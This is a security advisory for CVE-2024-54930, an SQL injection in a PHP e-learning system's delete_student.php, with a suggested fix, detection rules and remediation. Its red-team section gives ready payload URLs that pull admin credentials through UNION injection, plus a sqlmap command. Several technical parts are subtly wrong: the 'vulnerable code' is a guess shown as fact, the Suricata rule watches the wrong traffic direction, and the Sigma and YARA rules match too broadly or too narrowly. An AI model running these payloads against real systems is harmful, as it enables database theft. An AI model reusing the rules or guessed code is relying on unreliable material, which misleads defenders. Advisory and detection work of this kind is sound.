CVE-2024-54930

Executive Summary

CVE-2024-54930 identifies a critical SQL Injection vulnerability in Kashipara E-learning Management System v1.0. The flaw resides in /admin/delete_student.php, where user-supplied input is directly concatenated into SQL queries without sanitization or parameterization. An unauthenticated attacker can exploit this to extract, modify, or delete database contents, potentially gaining full administrative control. No patch has been released by the vendor, and the vulnerability is publicly documented with proof-of-concept code.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this software should treat it as a high-risk component in their software supply chain due to the lack of vendor support.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows complete database compromise with no authentication, making it trivial for attackers to exfiltrate sensitive data (user credentials, course content, personal information) and potentially pivot to internal networks.

Deep Dive & Mechanics

The vulnerability exists in /admin/delete_student.php. The application likely uses a GET or POST parameter (e.g., id) to specify which student record to delete. The code directly interpolates this parameter into a SQL DELETE statement without using prepared statements or escaping.

Vulnerable Code Pattern (PHP):

$id = $_GET['id'];
$sql = "DELETE FROM students WHERE id = $id";
mysqli_query($conn, $sql);

An attacker can inject SQL commands by providing a crafted id parameter, such as:

1 OR 1=1

This would delete all student records. More sophisticated payloads can extract data from other tables (e.g., admin_users) using UNION-based injection.

Root Cause: Lack of input validation and failure to use parameterized queries (prepared statements). The application does not sanitize the id parameter before using it in the SQL query.

Vulnerable vs. Patched Code

Vulnerable Code (Kashipara E-learning Management System v1.0):

// admin/delete_student.php
$id = $_GET['id'];
$sql = "DELETE FROM students WHERE id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Recommended fix):

// admin/delete_student.php
$id = intval($_GET['id']); // Cast to integer
$sql = "DELETE FROM students WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);

The patched version uses intval() to ensure the input is numeric and employs a prepared statement to prevent SQL injection. Alternatively, parameterized queries with PDO should be used.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Kashipara E-learning Management System v1.0
• Network access to the /admin/delete_student.php endpoint

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web proxy (e.g., Burp Suite) to intercept the request when deleting a student. The parameter is likely id.

2. Craft SQL Injection payload:

   http://target/admin/delete_student.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100
   

   Adjust the number of columns based on the table structure.

3. Extract admin credentials:

   http://target/admin/delete_student.php?id=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM admin_users
   

4. Automate with sqlmap:

   sqlmap -u "http://target/admin/delete_student.php?id=1" --batch --dbs
   

Blue Team

Detection:

• Monitor web server logs for unusual SQL keywords in GET parameters (e.g., UNION, SELECT, OR 1=1).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Hunting:

• Search for requests to /admin/delete_student.php with non-numeric id values.
• Look for error messages containing SQL syntax errors in application logs.

Containment:

• Immediately isolate the affected server.
• Review database logs for unauthorized queries.
• Rotate all credentials stored in the database.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /admin/delete_student.php with id parameter containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
  • Outbound database connections from the web server to unknown IPs (data exfiltration).

• File:

  • Suspicious files in the web root (e.g., webshells like cmd.php).
  • Modified .htaccess files redirecting traffic.

• Log:

  • Web server logs showing repeated 500 errors from /admin/delete_student.php.
  • Database logs showing unexpected DELETE or SELECT operations.

Detection Engineering

YARA Rule

rule CVE_2024_54930_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-54930 in Kashipara E-learning Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54930"
    strings:
        $sqli1 = "id=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR 1=1" nocase
        $sqli5 = "DELETE" nocase
        $sqli6 = "admin/delete_student.php" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against Kashipara E-learning Management System
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-54930
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "admin/delete_student.php?id="
            - "UNION"
            - "SELECT"
            - "OR 1=1"
            - "DELETE"
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a student name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-54930 SQL Injection Attempt";
    flow:to_server,established;
    content:"admin/delete_student.php"; http_uri;
    content:"id="; http_uri;
    pcre:"/(UNION|SELECT|OR\s+1=1|DELETE)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2024-54930;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /admin/delete_student.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting this specific URL.
3. Isolate the application: If possible, move the application to a segmented network with strict egress controls.

Long-Term Fix:

• Replace the application: Since the vendor is unresponsive, migrate to a supported e-learning platform.
• Code remediation: If you must continue using this software, rewrite the vulnerable code using prepared statements (as shown in the patched code section).
• Regular security audits: Conduct code reviews and penetration tests for all custom or legacy applications.

Workaround:

• Implement input validation in a reverse proxy (e.g., Nginx if block to reject non-numeric id values):

  location /admin/delete_student.php {
      if ($arg_id !~ "^[0-9]+$") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers